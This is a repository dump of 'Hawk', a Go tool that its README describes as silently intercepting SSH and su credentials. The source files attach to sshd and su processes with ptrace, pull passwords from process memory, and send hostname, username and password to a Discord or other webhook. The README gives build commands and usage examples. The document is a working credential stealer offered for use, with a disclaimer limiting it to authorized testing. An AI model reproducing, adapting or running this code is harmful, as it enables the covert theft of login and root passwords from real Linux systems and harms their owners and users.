├── go.mod ├── demo └── hawk-demo.gif ├── .gitignore ├── helpers.go ├── su_tracer.go ├── README.md ├── ssh_tracer.go └── main.go /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/platsecurity/Hawk 2 | 3 | go 1.22 4 | -------------------------------------------------------------------------------- /demo/hawk-demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/platsecurity/Hawk/HEAD/demo/hawk-demo.gif -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | 23 | # Binary 24 | hawk 25 | 26 | # Demo GIF 27 | demo/hawk-demo.gif -------------------------------------------------------------------------------- /helpers.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "strings" 5 | "unicode" 6 | ) 7 | 8 | func contains(slice []int, value int) bool { 9 | for _, v := range slice { 10 | if v == value { 11 | return true 12 | } 13 | } 14 | return false 15 | } 16 | 17 | func removeNonPrintableAscii(input string) string { 18 | var resultBuilder []rune 19 | 20 | for _, char := range input { 21 | if unicode.IsPrint(char) && char >= 32 && char != 127 { 22 | resultBuilder = append(resultBuilder, char) 23 | } 24 | } 25 | 26 | return string(resultBuilder) 27 | } 28 | 29 | func isValidPassword(s string) bool { 30 | if len(s) < 3 || len(s) > 100 { 31 | return false 32 | } 33 | 34 | printableCount := 0 35 | replacementCharCount := 0 36 | 37 | for _, r := range s { 38 | if r >= 32 && r < 127 { 39 | printableCount++ 40 | } else if r == 0xFFFD { 41 | replacementCharCount++ 42 | } 43 | } 44 | 45 | if replacementCharCount > len(s)/5 { 46 | return false 47 | } 48 | 49 | if printableCount < len(s)*4/5 { 50 | return false 51 | } 52 | 53 | lower := strings.ToLower(s) 54 | if strings.HasPrefix(lower, "fsha256") || 55 | strings.HasPrefix(lower, "ssh-") || 56 | strings.HasPrefix(lower, "ecdsa-") || 57 | strings.HasPrefix(lower, "rsa-") || 58 | strings.HasPrefix(lower, "ed25519") || 59 | strings.Contains(lower, "curve25519") || 60 | strings.Contains(lower, "diffie-hellman") || 61 | strings.Contains(lower, "sntrup") { 62 | return false 63 | } 64 | 65 | return true 66 | } 67 | -------------------------------------------------------------------------------- /su_tracer.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "runtime" 7 | "strings" 8 | "syscall" 9 | ) 10 | 11 | func traceSUProcess(pid int) { 12 | runtime.LockOSThread() 13 | defer runtime.UnlockOSThread() 14 | err := syscall.PtraceAttach(pid) 15 | if err != nil { 16 | return 17 | } 18 | defer func() { 19 | syscall.PtraceDetach(pid) 20 | }() 21 | var wstatus syscall.WaitStatus 22 | var readSyscallCount int 23 | for { 24 | 25 | _, err := syscall.Wait4(pid, &wstatus, 0, nil) 26 | if err != nil { 27 | return 28 | } 29 | 30 | if wstatus.Exited() { 31 | return 32 | } 33 | 34 | var regs syscall.PtraceRegs 35 | err = syscall.PtraceGetRegs(pid, ®s) 36 | if err != nil { 37 | syscall.PtraceDetach(pid) 38 | return 39 | } 40 | if regs.Orig_rax == 0 && regs.Rdi == 0 { 41 | readSyscallCount++ 42 | if readSyscallCount == 3 { 43 | buffer := make([]byte, regs.Rdx) 44 | _, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer) 45 | if err != nil { 46 | return 47 | } 48 | if strings.Contains(string(buffer), "\n") { 49 | cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) 50 | if err != nil { 51 | return 52 | } 53 | username := "root" 54 | if len(cmdline) > 3 { 55 | parts := strings.Split(string(cmdline), "\x00") 56 | if len(parts) > 1 { 57 | username = parts[1] 58 | } else { 59 | username = strings.TrimRight(string(cmdline[3:]), "\x00") 60 | } 61 | username = removeNonPrintableAscii(username) 62 | } 63 | password := strings.Split(string(buffer), "\n")[0] 64 | password = removeNonPrintableAscii(password) 65 | if isValidPassword(password) { 66 | go exfilPassword(username, password) 67 | } 68 | } 69 | } 70 | } 71 | err = syscall.PtraceSyscall(pid, 0) 72 | if err != nil { 73 | return 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |
3 | 4 |
5 | Hawk 6 |

7 | 8 |

9 | Silently intercept SSH and SU credentials in real-time 10 |

11 | 12 |

13 | Hawk monitors sshd and su processes, extracting passwords from memory via ptrace without modifying target processes. Zero writes. Pure read-only credential harvesting. 14 |

15 | 16 | ## Demo 17 | 18 | ![Example](demo/hawk-demo.gif) 19 | 20 | ## How It Works 21 | 22 | Hawk leverages Linux's `/proc` filesystem to discover SSH and SU processes, then uses `ptrace` to attach and intercept syscalls. When password authentication occurs, it reads the password directly from process memory during the `write()` syscall—completely transparent to the target process. Credentials are exfiltrated via webhook or printed to stdout. 23 | 24 | **Deep dive:** [Blog Post](https://www.prodefense.io/blog/hawks-prey-snatching-ssh-credentials) 25 | 26 | ## Build 27 | 28 | ```bash 29 | GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o hawk 30 | ``` 31 | 32 | ## Usage 33 | 34 | ### Discord Webhook 35 | 36 | Hawk automatically detects Discord webhooks and sends formatted messages: 37 | 38 | ```bash 39 | ./hawk https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN 40 | ``` 41 | 42 | **Setup:** Create a webhook in your Discord server following [Discord's webhook guide](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks). Credentials will appear in your channel formatted with hostname, username, and password. 43 | 44 | ### Generic Webhooks 45 | 46 | For other webhook services (webhook.site, custom servers, etc.): 47 | 48 | ```bash 49 | # HTTPS (auto-detected) 50 | ./hawk https://webhook.site/your-unique-id 51 | 52 | # HTTP 53 | ./hawk http://192.168.1.100:6969/webhook 54 | 55 | # Auto HTTPS if no protocol specified 56 | ./hawk webhook.example.com/path 57 | ``` 58 | 59 | ### Stdout Mode 60 | 61 | No webhook? Credentials print to stdout: 62 | 63 | ```bash 64 | ./hawk 65 | ``` 66 | 67 | Output: 68 | ``` 69 | hostname=server01 username=root password=SuperSecret123 70 | ``` 71 | 72 | ## Requirements 73 | 74 | - Linux system with ptrace enabled 75 | - `/proc` filesystem mounted 76 | - Root privileges (required for ptrace) 77 | 78 | ## Disclaimer 79 | 80 | **This tool is for authorized security testing and educational purposes only.** Unauthorized access to computer systems is illegal. Use responsibly and only on systems you own or have explicit permission to test. 81 | 82 | ## Credits 83 | 84 | Inspired by [blendin](https://github.com/blendin)'s work on [3snake](https://github.com/blendin/3snake). 85 | -------------------------------------------------------------------------------- /ssh_tracer.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "regexp" 7 | "runtime" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | ) 12 | 13 | func traceSSHDProcess(pid int) { 14 | runtime.LockOSThread() 15 | defer runtime.UnlockOSThread() 16 | err := syscall.PtraceAttach(pid) 17 | if err != nil { 18 | return 19 | } 20 | defer func() { 21 | syscall.PtraceDetach(pid) 22 | }() 23 | var wstatus syscall.WaitStatus 24 | var exfiled bool 25 | for { 26 | _, err := syscall.Wait4(pid, &wstatus, 0, nil) 27 | if err != nil { 28 | return 29 | } 30 | 31 | if wstatus.Exited() { 32 | return 33 | } 34 | 35 | if wstatus.StopSignal() == syscall.SIGTRAP { 36 | var regs syscall.PtraceRegs 37 | err := syscall.PtraceGetRegs(pid, ®s) 38 | if err != nil { 39 | syscall.PtraceDetach(pid) 40 | return 41 | } 42 | 43 | if regs.Orig_rax == 1 { 44 | fd := int(regs.Rdi) 45 | if fd >= 0 && fd <= 20 { 46 | bufferSize := int(regs.Rdx) 47 | if bufferSize > 3 && bufferSize < 250 { 48 | buffer := make([]byte, bufferSize) 49 | _, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer) 50 | if err != nil { 51 | syscall.PtraceSyscall(pid, 0) 52 | continue 53 | } 54 | 55 | var password string 56 | 57 | if len(buffer) >= 4 && buffer[0] == 0 && buffer[1] == 0 && buffer[2] == 0 { 58 | length := int(buffer[3]) 59 | if length > 0 && length+4 <= len(buffer) { 60 | password = string(buffer[4 : 4+length]) 61 | } else if length == 0 && len(buffer) > 4 { 62 | password = string(buffer[4:]) 63 | } else { 64 | password = string(buffer) 65 | } 66 | } else { 67 | password = string(buffer) 68 | } 69 | 70 | password = removeNonPrintableAscii(password) 71 | if isValidPassword(password) { 72 | username := "unknown" 73 | cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) 74 | cmdlineStr := strings.ReplaceAll(string(cmdline), "\x00", " ") 75 | 76 | usernamePattern := regexp.MustCompile(`sshd[^:]*:\s*([a-zA-Z0-9_-]+)`) 77 | matches := usernamePattern.FindStringSubmatch(cmdlineStr) 78 | if len(matches) == 2 { 79 | username = matches[1] 80 | } 81 | 82 | if username == "unknown" && strings.Contains(cmdlineStr, "[accepted]") { 83 | ppidData, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/stat", pid)) 84 | if err == nil { 85 | ppidStr := strings.Fields(string(ppidData)) 86 | if len(ppidStr) > 3 { 87 | ppid, _ := strconv.Atoi(ppidStr[3]) 88 | if ppid > 0 { 89 | parentCmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", ppid)) 90 | parentCmdlineStr := strings.ReplaceAll(string(parentCmdline), "\x00", " ") 91 | parentMatches := usernamePattern.FindStringSubmatch(parentCmdlineStr) 92 | if len(parentMatches) == 2 { 93 | username = parentMatches[1] 94 | } 95 | } 96 | } 97 | } 98 | } 99 | 100 | if exfiled { 101 | go exfilPassword(username, password) 102 | } 103 | exfiled = !exfiled 104 | } 105 | } 106 | } 107 | } 108 | } 109 | 110 | err = syscall.PtraceSyscall(pid, 0) 111 | if err != nil { 112 | return 113 | } 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "net/url" 10 | "os" 11 | "regexp" 12 | "strconv" 13 | "strings" 14 | "sync" 15 | "time" 16 | ) 17 | 18 | func findPids() []int { 19 | var sshdPids []int 20 | currentPID := os.Getpid() 21 | procDirs, err := ioutil.ReadDir("/proc") 22 | if err != nil { 23 | return nil 24 | } 25 | for _, dir := range procDirs { 26 | if dir.IsDir() { 27 | pid, err := strconv.Atoi(dir.Name()) 28 | if err == nil && pid != currentPID { 29 | sshdPids = append(sshdPids, pid) 30 | } 31 | } 32 | } 33 | return sshdPids 34 | } 35 | 36 | func isSSHPid(pid int) bool { 37 | cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) 38 | if err != nil { 39 | return false 40 | } 41 | cmdLineStr := strings.ReplaceAll(string(cmdLine), "\x00", " ") 42 | 43 | patterns := []string{ 44 | `sshd:.*\[net\]`, 45 | `sshd:.*@`, 46 | `^sshd:`, 47 | `sshd.*\[priv\]`, 48 | `sshd.*\[accepted\]`, 49 | `sshd-auth:`, 50 | `sshd-session:`, 51 | } 52 | 53 | for _, pattern := range patterns { 54 | if matched, _ := regexp.MatchString(pattern, cmdLineStr); matched { 55 | return true 56 | } 57 | } 58 | return false 59 | } 60 | 61 | func isSUPid(pid int) bool { 62 | cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) 63 | if err != nil { 64 | return false 65 | } 66 | return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " ")) 67 | } 68 | 69 | var webhookURL string 70 | 71 | func exfilPassword(username, password string) { 72 | hostname, err := os.Hostname() 73 | if err != nil { 74 | return 75 | } 76 | 77 | if webhookURL == "" { 78 | fmt.Printf("hostname=%s username=%s password=%s\n", hostname, username, password) 79 | return 80 | } 81 | 82 | if strings.Contains(webhookURL, "discord.com/api/webhooks") || strings.Contains(webhookURL, "discordapp.com/api/webhooks") { 83 | content := fmt.Sprintf("**Hostname:** %s\n**Username:** %s\n**Password:** %s", hostname, username, password) 84 | payload := map[string]string{ 85 | "content": content, 86 | } 87 | jsonData, _ := json.Marshal(payload) 88 | 89 | req, err := http.NewRequest("POST", webhookURL, bytes.NewBuffer(jsonData)) 90 | if err != nil { 91 | return 92 | } 93 | req.Header.Set("Content-Type", "application/json") 94 | 95 | client := &http.Client{} 96 | _, _ = client.Do(req) 97 | } else { 98 | values := url.Values{} 99 | values.Set("hostname", hostname) 100 | values.Set("username", username) 101 | values.Set("password", password) 102 | fullURL := fmt.Sprintf("%s?%s", webhookURL, values.Encode()) 103 | 104 | if strings.HasPrefix(webhookURL, "https://") { 105 | _, _ = http.Get(fullURL) 106 | } else if strings.HasPrefix(webhookURL, "http://") { 107 | _, _ = http.Get(fullURL) 108 | } else { 109 | fullURL = fmt.Sprintf("https://%s?%s", webhookURL, values.Encode()) 110 | _, _ = http.Get(fullURL) 111 | } 112 | } 113 | } 114 | 115 | func main() { 116 | if len(os.Args) > 1 { 117 | webhookURL = os.Args[1] 118 | } 119 | 120 | var processedFirstPID bool 121 | var processedPids []int 122 | var processedPidsMutex sync.Mutex 123 | 124 | for { 125 | pids := findPids() 126 | for _, pid := range pids { 127 | processedPidsMutex.Lock() 128 | 129 | if isSSHPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) { 130 | if !processedFirstPID { 131 | processedFirstPID = true 132 | } else { 133 | go traceSSHDProcess(pid) 134 | processedPids = append(processedPids, pid) 135 | } 136 | } 137 | 138 | if isSUPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) { 139 | if !processedFirstPID { 140 | processedFirstPID = true 141 | } else { 142 | go traceSUProcess(pid) 143 | processedPids = append(processedPids, pid) 144 | } 145 | } 146 | 147 | processedPidsMutex.Unlock() 148 | } 149 | time.Sleep(250 * time.Millisecond) 150 | } 151 | } 152 | --------------------------------------------------------------------------------